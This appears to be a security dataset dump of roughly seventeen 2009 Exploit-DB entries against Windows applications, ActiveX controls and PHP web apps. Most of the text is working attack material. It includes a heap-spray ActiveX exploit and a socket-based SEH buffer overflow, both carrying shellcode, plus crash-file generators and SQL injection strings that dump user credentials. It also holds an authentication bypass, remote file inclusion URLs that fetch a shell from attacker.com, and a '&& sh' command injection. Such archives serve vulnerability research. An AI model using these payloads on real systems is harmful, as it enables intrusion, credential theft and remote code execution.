QLWD/code_shield huggingface dataset:
标题: Ease Audio Cutter 1.20 - '.wav' Local Crash (PoC) EDB-ID: 9707 CVE: 2009-4659 类型: DOS 平台: WINDOWS 发布日期: 2009-09-17 漏洞利用脚本: #!/usr/bin/perl
###########################################################################
#             Ease Audio Cutter 1.20 (.wav file) Local Crash PoC          #
#                               By : zAx                                  #
###########################################################################
#             Application Homepage : http://mp3-cutter.com                #
#   Application Download : http://mp3-cutter.com/download/audiocutter.exe #
# Description : Click Select file button, select our file and click Play  #
###########################################################################
$crash = "\x42" x 15000;
my $file = "zAx_Crash.wav";
open(my $FILE, ">>$file") or die "Cannot open $file: $!";
print $FILE $crash;
close($FILE);
print "Done \n";

# milw0rm.com [2009-09-17] URL: https://www.exploit-db.com/exploits/9707
标题: Quiksoft EasyMail 6 - 'AddAttachment' Remote Buffer Overflow EDB-ID: 9705 CVE: 2009-4663 类型: REMOTE 平台: WINDOWS 发布日期: 2009-09-17 漏洞利用脚本: <html>
 <head>
    <!--
      -- Quiksoft EasyMail 6 (AddAttachment) Remote Buffer Overflow Exploit
      -- 
      -- Its old and the latest version doesn't support this method. 
      -- I was bored and a similar post sparked my interest. 
      -- 
      -- Advisory: http://www.bmgsec.com.au/advisory/48/
      -- 
      -- Written by:
      -- bmgsec (bmgsec [at] gmail.com / www.bmgsec.com.au)
      --  -->
 <title>Quiksoft EasyMail 6 (AddAttachment) Remote Buffer Overflow Exploit</title>
<object classid='clsid:68AC0D5F-0424-11D5-822F-00C04F6BA8D9' id='test'></object>
<script language='javascript'>
       function str_repeat ( input, multiplier ) {
               return new Array(multiplier+1).join(input);
       }

       //windows/exec CMD: calc Size: 144 bytes Encoder: x86/shikata_ga_nai ExitFunc: SEH
       shellcode = unescape("%uc931%u1eb1%ue2b8%udc1f%ud9cc%ud9e5%u2474%u5bf4%u4331%u830f%ufceb"+
                            "%u4303%ufde9%u3029%u4505%uc9d2%ucdd5%uf597%uad5e%u7e12%ua161%u3196"+
                            "%ub679%uedf6%u2378%u6541%u384e%u9753%ufe9f%ucbcd%u3e5b%u1499%u75a2"+
                            "%u1a6f%u61e6%u2784%u51b2%u2d61%u11df%ue936%ucd1e%u7aaf%u5a2c%u22bb"+
                            "%u5d30%u5750%ud654%u83a7%ub4ed%u5783%u1b2e%ua1fd%uf2d0%uc699%ucb56"+
                            "%u99ea%ua05a%u059d%u3dcf%u3e35%uba86%ufe45%u6af2%u0f22%u8f88%u87ed"+
                            "%u7114%u569b%u7173%u057b%ue11a%ucae7");

       bigblock = unescape("%u9090%u9090");
       headersize = 20;
       slackspace = headersize + shellcode.length;

       while (bigblock.length < slackspace)
               bigblock += bigblock;

       fillblock = bigblock.substring(0, slackspace);
       block = bigblock.substring(0, bigblock.length - slackspace);

       while (block.length + slackspace < 200000)
               block = block + block + fillblock;

       memory = new Array();
       for (i=0; i<500; i++)
               memory[i] = block + shellcode;

       buffer = str_repeat('A', 433);
       buffer += "BBBB";
       buffer += str_repeat(unescape("%0b%0b%0b%0b"), 63);

       test.AddAttachment(buffer, 1);
</script>
</head>
</html>

# milw0rm.com [2009-09-17] URL: https://www.exploit-db.com/exploits/9705
标题: BigAnt Server 2.50 SP1 - '.zip' Local Buffer Overflow (PoC) EDB-ID: 9695 CVE: 2009-4661 类型: DOS 平台: WINDOWS 发布日期: 2009-09-16 漏洞利用脚本: #!/usr/bin/env python

#######################################################################
#
# BigAnt Server 2.50 SP1 Local Buffer Overflow PoC
# Found By:  Dr_IDE
# Tested:    XPSP3
# Usage: Open BigAnt Console, Go to Update, Browse to zip, Boom.
#
#######################################################################

buff = ("\x41" * 10000)

f1 = open("BigAntUpdate.zip","w")
f1.write(buff)
f1.close()

# milw0rm.com [2009-09-16] URL: https://www.exploit-db.com/exploits/9695
标题: Elite Gaming Ladders 3.2 - 'platform' SQL Injection EDB-ID: 9702 CVE: 2009-3314 类型: WEBAPPS 平台: PHP 发布日期: 2009-09-16 漏洞利用脚本: #--------------------------------------------------------
#Elite Gaming Ladders v3.2 Remote SQL Injection Vulnerability
#--------------------------------------------------------
#Discovered By: Snakespc     ALGERIAN HaCkEr 
#Mail: snakespc@gmail.com       
#-------------------------------------------------------
#
#Script:Elite Gaming Ladders v3.2
#
#http://eliteladders.com
#--------------------------------------------------------
#Dork:"Powered by: Elite Gaming Ladders v3.2"
#Exploit:
#--------
#Demo:http://eliteladders.com/demo/ladders.php?platform=-30+UNION%20SELECT%201,2,3,@@version,5,6,7--
----------------------------------------------------------

# milw0rm.com [2009-09-16] URL: https://www.exploit-db.com/exploits/9702
标题: DJ Studio Pro 4.2 - '.pls' Local Crash EDB-ID: 9691 CVE: 2009-4656 类型: DOS 平台: WINDOWS 发布日期: 2009-09-15 漏洞利用脚本: #!/usr/bin/perl -w
#
# DJ Studio Pro 4.2 (.PLS file) Crash Vulnerability Exploit
#
# Founded and exploited by prodigy
#
# Contact: smack_the_stream@hotmail.com
# 
# Vendor: http://www.e-soft.co.uk/
#
# Usage to reproduce the bug: when you created the malicious file, load the file and boooom!
#
# Platform: Windows
#
###################################################################

==PoC==

use strict;

use diagnostics;

my $file= "crash.pls";

my $boom= "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" x 5000;

open($FILE,">>$file");

print $FILE "$boom";

close($FILE);

print "File Created successfully\n";

==EndPoC==


##Greetz: Greetz myself for find the bug.

# milw0rm.com [2009-09-15] URL: https://www.exploit-db.com/exploits/9691
标题: phpPollScript 1.3 - 'include_class' Remote File Inclusion EDB-ID: 9703 CVE: 2009-3312 类型: WEBAPPS 平台: PHP 发布日期: 2009-09-16 漏洞利用脚本: ########################################################################
#phpPollScript <= 1.3 Remote File Include Vulnerability
#Download Script      :  http://download.tomex.org/phpPollScriptv13b.zip
#Author               :  cr4wl3r 
#Contact              :  cr4wl3r[4t]linuxmail[dot]org 
#Location             :  Gorontalo - INDONESIA
########################################################################
#file :
#  init.poll.php
# line 2 $inc_path = dirname($include_class);
# line 3 require ($inc_path."/voting.poll.php");
########################################################################
#3xplo!t :
#http://target.com/[path]/php/init.poll.php?include_class=http://attacker.com/shell.txt/test/
########################################################################
#Greetz        : MyMom [alm]
#Thanks 2      : opt!x hacker, xoron, irvian, cyberlog, EA ngel, bl4ck_3ng1n3, Hmei7, zvtral
########################################################################
#sekuritionline.net (all crew sekuritionline)
#manadocoding.net (all crew manadocoding)
########################################################################

# milw0rm.com [2009-09-16] URL: https://www.exploit-db.com/exploits/9703
标题: AdsDX 3.05 - Authentication Bypass EDB-ID: 9696 CVE: 2009-3667 类型: WEBAPPS 平台: PHP 发布日期: 2009-09-16 漏洞利用脚本: #--------------------------------------------------------
#AdsDX v3.05 (Auth Bypass) Remote Sql Injection
#--------------------------------------------------------
#Discovered By: Snakespc     ALGERIAN HaCkEr 
#Mail: snakespc@gmail.com       
#-------------------------------------------------------
#
#Script:AdsDX v3.05
#
#http://www.adsdx.com
#--------------------------------------------------------
#Exploit:
#--------
#Demo:http://adsdx.com/demo/admin/index.php
#Username:admin' or '1=1 
#Password: No Thing !!!!
#-------------------------SNAKES TEAM-------------------------------
# Akram:::Mr.HCOCA_MAN:::DrEaDFuL:::yassine_enp:::His0k4 --->Tous les AlgÃ©riens
#--------------------------SNAKES TEAM------------------------------
#Str0ke >>>>>>>Milw0rm
Note:His0k4 Saha Al Zalabiaaaaa Wa Saha elchribaaa .....RANI TWAHCHTEK BZAFFFFFFFFFFFF 

# milw0rm.com [2009-09-16] URL: https://www.exploit-db.com/exploits/9696
标题: NaviCOPA Web Server 3.01 - Source Code Disclosure EDB-ID: 9694 CVE: 2009-3646 类型: REMOTE 平台: WINDOWS 发布日期: 2009-09-16 漏洞利用脚本: #################################################################################
#
# NaviCOPA Web Server 3.01 Remote Source Code Disclosure
# Found By:  Dr_IDE
# Tested On: Windows XPSP3
#
#################################################################################

- Description -

NaviCOPA Web Server 3.01 is a Windows based HTTP server. This is the latest version of
the application available. 

NaviCOPA is vulnerable to remote arbitrary source code disclosure by the following means.

- Technical Details -

 http://[ webserver IP]/[ file ][::$DATA]
 
 http://172.16.2.101/index.html::$DATA

 http://172.16.2.101/default.asp::$DATA

 http://172.16.2.101/index.php::$DATA

# milw0rm.com [2009-09-16] URL: https://www.exploit-db.com/exploits/9694
标题: MP3 Collector 2.3 - '.m3u' Local Crash (PoC) EDB-ID: 9689 CVE: 2009-3449 类型: DOS 平台: WINDOWS 发布日期: 2009-09-15 漏洞利用脚本: #!/usr/bin/perl
# MP3 Collector 2.3 (m3u File) Local Crash PoC
# By : zAx
# Application Homepage : http://collectorz.com
# Application Download : http://downloads.collectorz.com/mp3collectorsetup.exe
# Go to Playlist menu, select Open Playlist, Select the File and a click on file name.

$header = "http://";
$crash = "\x41" x 9500; # Just a Random size .
my $file = "CraSH.m3u";
open(my $FILE, ">>$file") or die "Cannot open $file: $!";
print $FILE $header.$crash;
close($FILE);
print "Done \n";

# milw0rm.com [2009-09-15] URL: https://www.exploit-db.com/exploits/9689
标题: Joomla! Component com_foobla_suggestions (idea_id) 1.5.11 - SQL Injection EDB-ID: 9697 CVE: 2009-3669 类型: WEBAPPS 平台: PHP 发布日期: 2009-09-16 漏洞利用脚本: -----------------------------------------------------------------------------------------
joomla component com_foobla_suggestions (idea_id) SQL Injection Vulnerability
-----------------------------------------------------------------------------------------

Author         : Chip D3 Bi0s
Email          : chipdebios[alt+64]gmail.com
Date           : 15 September 2009
Critical Lvl   : Moderate
Impact        : Exposure of sensitive information
Where        : From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application   : foobla Suggestions
version       : 1.5.11
Developer     : foobla
License       : GPL            type  : Commercial
Date Added    : 15 September 2009
Demo          : http://demo.foobla.com/foobla-suggestions-joomla/                            
Download      : http://foobla.com/products/featured-joomla-extensions/foobla-suggestions-for-joomla.html
Description   :

Have you ever used Uservoice? Would you like to have something
similar on Joomla but with unlimited features and no monthly fee?
The foobla Suggestions allows you to collect ideas, suggestions,
and votes from your cutomers. 
---------------------------------------------------------------------------


I.SQL injection (idea_id)
Poc/Exploit:
~~~~~~~~~

http://127.0.0.1/[path]/index.php?option=com_foobla_suggestions&controller=comment&idea_id=[Sqlinjection]

[Sqlinjection]= null+union+select+1,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12+from+jos_users


Demo Live:
~~~~~~~
http://demo.foobla.com/foobla-suggestions-joomla/index.php?option=com_foobla_suggestions&controller=comment&idea_id=null+union+select+1,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12+from+jos_users

+++++++++++++++++++++++++++++++++++++++
#[!] Produced in South America
+++++++++++++++++++++++++++++++++++++++

# milw0rm.com [2009-09-16] URL: https://www.exploit-db.com/exploits/9697
标题: BigAnt Server 2.50 - GET Universal Remote Buffer Overflow (SEH) EDB-ID: 9690 CVE: 2009-4660 2008-1914 类型: REMOTE 平台: WINDOWS 发布日期: 2009-09-15 漏洞利用脚本: #!/usr/bin/python
# by hack4love
# BigAnt Server version 2.50 SEH Overwrite Universal
# discovered by Blake http://www.milw0rm.com/exploits/9673
# Tested on Windows XP SP2
# gratez to Blake
# use >> bigant.py 192.168.1.12 6660


import socket, sys

if len(sys.argv)!= 3:
print "\n[*] Usage: %s <ip> <port>\n" % sys.argv[0]
sys.exit(0)

host = sys.argv[1]
port = int(sys.argv[2]) # port 6660 by default


shellcode = (
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49"
"\x49\x49\x49\x49\x37\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x6a\x41"
"\x58\x50\x30\x42\x31\x41\x42\x6b\x42\x41\x51\x32\x42\x42\x32\x41"
"\x41\x30\x41\x41\x42\x58\x38\x42\x42\x50\x75\x4b\x59\x4b\x4c\x59"
"\x78\x52\x64\x63\x30\x65\x50\x53\x30\x4e\x6b\x57\x35\x77\x4c\x6c"
"\x4b\x61\x6c\x63\x35\x73\x48\x67\x71\x48\x6f\x6e\x6b\x50\x4f\x45"
"\x48\x6e\x6b\x53\x6f\x61\x30\x73\x31\x38\x6b\x53\x79\x4e\x6b\x66"
"\x54\x6e\x6b\x46\x61\x38\x6e\x30\x31\x6b\x70\x6e\x79\x6e\x4c\x4f"
"\x74\x79\x50\x74\x34\x44\x47\x4f\x31\x59\x5a\x76\x6d\x55\x51\x59"
"\x52\x68\x6b\x4a\x54\x35\x6b\x71\x44\x65\x74\x37\x74\x31\x65\x4a"
"\x45\x6e\x6b\x73\x6f\x44\x64\x55\x51\x4a\x4b\x50\x66\x4c\x4b\x44"
"\x4c\x30\x4b\x6e\x6b\x53\x6f\x37\x6c\x46\x61\x58\x6b\x6c\x4b\x77"
"\x6c\x6e\x6b\x46\x61\x5a\x4b\x4f\x79\x31\x4c\x47\x54\x37\x74\x6a"
"\x63\x74\x71\x59\x50\x70\x64\x6e\x6b\x51\x50\x50\x30\x6e\x65\x4b"
"\x70\x72\x58\x64\x4c\x6c\x4b\x71\x50\x56\x6c\x4e\x6b\x52\x50\x57"
"\x6c\x6c\x6d\x4c\x4b\x63\x58\x73\x38\x5a\x4b\x45\x59\x4e\x6b\x4f"
"\x70\x4c\x70\x35\x50\x43\x30\x63\x30\x4c\x4b\x53\x58\x77\x4c\x73"
"\x6f\x56\x51\x48\x76\x53\x50\x66\x36\x4f\x79\x39\x68\x6f\x73\x39"
"\x50\x61\x6b\x30\x50\x61\x78\x4a\x50\x6c\x4a\x73\x34\x33\x6f\x45"
"\x38\x6d\x48\x49\x6e\x6c\x4a\x46\x6e\x76\x37\x69\x6f\x48\x67\x45"
"\x33\x73\x51\x72\x4c\x71\x73\x63\x30\x41")


payload = "\x41" * 985
next_seh = "\xeb\x06\x90\x90"
seh = "\xc3\x20\xc4\x6b" #MFC42.DLL
nops = "\x90" * 10
sec = shellcode

print "[+] Connecting to %s on port %d" % (host,port)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((host,port))
except:
print "[x] Error establishing connection\n"
sys.exit(0)

print "[+] Sending payload"
s.send("GET " + payload + next_seh + seh + nops + sec + "\r\n\r\n")
s.close()

# milw0rm.com [2009-09-15] URL: https://www.exploit-db.com/exploits/9690
标题: EasyMail Quicksoft 6.0.2.0 - CreateStore ActiveX Code Execution (PoC) EDB-ID: 9685 CVE: 2008-6447 类型: DOS 平台: WINDOWS 发布日期: 2009-09-15 漏洞利用脚本: #####################################################################################

Application:  EasyMail Quicksoft 6.0.2.0
            
Platforms:    Windows XP Professional French SP2

crash:       IE 6.0.2900.2180
       
 
Exploitation: remote Code Execution

Date:         2009-08-24

Author:       Francis Provencher (Protek Research Lab's)
             

#####################################################################################

1) Introduction
2) Technical details and bug
3) The Code

#####################################################################################

===============
1) Introduction
===============

Create, send, download, parse, print and store internet email messages in your classic windows application.  Designed for Visual Basic, ASP, C++, Delphi, ColdFusion, PowerBuilder, Access and other development environments.  COM or standard DLL interfaces.  This is the software that processes hundreds of millions of email messages on the Internet every day.

#####################################################################################

============================
2) Technical details 
============================

Name: emmailstore.dll
Ver.: 6.0.2.0
CLSID: {18A76B9A-45C1-11D3-80DC-00C04F6B92D0}

ModLoad: 10000000 1002c000   C:\WINDOWS\system32\emmailstore.dll
(1670.59c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=000002bd ebx=00000000 ecx=0003ea80 edx=00030608 esi=00038790 edi=00000193
eip=41414141 esp=0013eb44 ebp=0013eb60 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=0038  gs=0000             efl=00010206
41414141 ??              ???





#####################################################################################

===========
3) The Code
===========

Proof of concept DoS code;

<HTML>
<object classid='clsid:18A76B9A-45C1-11D3-80DC-00C04F6B92D0' id='target' />
<script language='vbscript'>

argCount   = 2

arg1=String(402, "A")
arg2=1

target.CreateStore arg1 ,arg2 

</script>
<html>
~



#####################################################################################

# milw0rm.com [2009-09-15] URL: https://www.exploit-db.com/exploits/9685
标题: NetAccess IP3 - (Authenticated) Ping Option Command Injection EDB-ID: 9688 CVE: 2006-2043 类型: LOCAL 平台: HARDWARE 发布日期: 2009-09-15 漏洞利用脚本: ###############################################################
#NetAccess IP3 - Force into shell
#By: r00t
#Shouts: G., Tee, ES, s1ngl3, and D1g1t5
#
###############################################################
#Requirements: Remote access to an IP3
#              Any level control panel username/password
#
###############################################################
#Vendor Information:
#Thanks to Sebastian Wolfgarten (sebastian at wolfgarten dot com)
#for including vendor information in his AFD vuln
#
#"IP3's NetAccess is a device created for high demand environments such as
#convention centers or hotels. It handles the Internet access and
#provides for instance firewalling, billing, rate-limiting as well as
#various authentication mechanisms. The device is administrated via SSH
#or a web-based GUI."
#
###############################################################

1. SSH into the IP3's IP address
2. After logging in, select the "ping" option (usually menu item 5)
3. Ping the address: localhost && sh
4. After four pings to localhost, shell will be forced open

One may think there are limitations once logged into shell without
root access on an IP3.  Wrong.

# milw0rm.com [2009-09-15] URL: https://www.exploit-db.com/exploits/9688
标题: efront 3.5.4 - 'database.php?path' Remote File Inclusion EDB-ID: 9681 CVE: 2009-3660 类型: WEBAPPS 平台: PHP 发布日期: 2009-09-15 漏洞利用脚本: ########################################################################
#efront <= 3.5.4 Remote File Include Vulnerability
#Download Script      :  http://sourceforge.net/projects/efrontlearning/files/
#Author               :  cr4wl3r 
#Contact              :  cr4wl3r[4t]linuxmail[dot]org 
#Location             :  Gorontalo - INDONESIA
########################################################################
#file :
#  database.php 
#line 15 require_once($path.'adodb/adodb.inc.php');
########################################################################
#3xplo!t :
#http://target.com/[path]/libraries/database.php?path=http://attacker.com/shell.txt???  
########################################################################
#Greetz        : MyMom [alm]
#Thanks 2      : opt!x hacker, xoron, irvian, cyberlog, EA ngel, bl4ck_3ng1n3, Hmei7, zvtral
########################################################################
#sekuritionline.net (all crew sekuritionline)
#manadocoding.net (all crew manadocoding)
########################################################################

# milw0rm.com [2009-09-15] URL: https://www.exploit-db.com/exploits/9681
标题: Novell Groupwise Client 7.0.3.1294 - ActiveX Denial of Service (PoC) EDB-ID: 9683 CVE: 2009-3863 类型: DOS 平台: WINDOWS 发布日期: 2009-09-15 漏洞利用脚本: #####################################################################################

Application:  Novell Groupwise Client 7.0.3.1294
            
Platforms:    Windows XP Professional French SP2 and SP3

crash:       IE 6.0.2900.2180
 
Exploitation: remote DoS

Date:         2009-08-24

Author:       Francis Provencher (Protek Research Lab's)
             

#####################################################################################

1) Introduction
2) Technical details and bug
3) The Code

#####################################################################################

===============
1) Introduction
===============

GroupWise is a messaging and collaborative software platform from Novell that supports email, calendaring, personal information management, instant messaging, and document management. The platform consists of the client software, which is available for Windows, Mac OS X, and Linux, and the server software, which is supported on Windows Server, Netware, and Linux. The latest generation of the platform is GroupWise 8, which was launched in 2008.

#####################################################################################

============================
2) Technical details 
============================

Name: gxmim1.dll
Ver.: 7.0.3.1294
CLSID: {9796BED2-C1CF-11D2-9384-0008C7396667}




#####################################################################################

===========
3) The Code
===========

Proof of concept DoS code;


<html>
<object classid='clsid:9796BED2-C1CF-11D2-9384-0008C7396667' id='GWComposeCtl'></object>


<script language='vbscript'>




argCount   = 1


arg1="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"

GWComposeCtl.SetFontFace arg1

</script>




#####################################################################################

# milw0rm.com [2009-09-15] URL: https://www.exploit-db.com/exploits/9683
标题: Adobe Shockwave Player 11.5.1.601 - ActiveX Buffer Overflow (PoC) EDB-ID: 9682 CVE: 2009-3244 类型: DOS 平台: WINDOWS 发布日期: 2009-09-15 漏洞利用脚本: #####################################################################################

Application:  Adobe ShockWave Player (11.5.1.601)
            
Platforms:    Windows XP Professional French SP2 and SP3

crash:       IE 6.0.2900.2180
 
Exploitation: remote DoS

Date:         2009-08-24

Author:       Francis Provencher (Protek Research Lab's)
             

#####################################################################################

1) Introduction
2) Technical details and bug
3) The Code

#####################################################################################

===============
1) Introduction
===============

Over 450 million Internet-enabled desktops have installed Adobe Shockwave Player.
These people now have access to some of the best the Web has to offer - including dazzling 3D games and entertainment,
interactive product demonstrations, and online learning applications. Shockwave Player displays Web content that has been created by Adobe Director.

#####################################################################################

============================
2) Technical details 
============================

Name: SwDir.dll
Ver.: 11.5.1.601
CLSID: {233C1507-6A77-46A4-9443-F871F945D258}


(d40.b20): Stack overflow - code c00000fd 
eax=00305004 ebx=00000003 ecx=00032f80 edx=00400000 esi=09ae0024 edi=00400002
eip=69214965 esp=0012df78 ebp=0012df8c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=0038  gs=0000             efl=00010202



#####################################################################################

# milw0rm.com [2009-09-15] URL: https://www.exploit-db.com/exploits/9682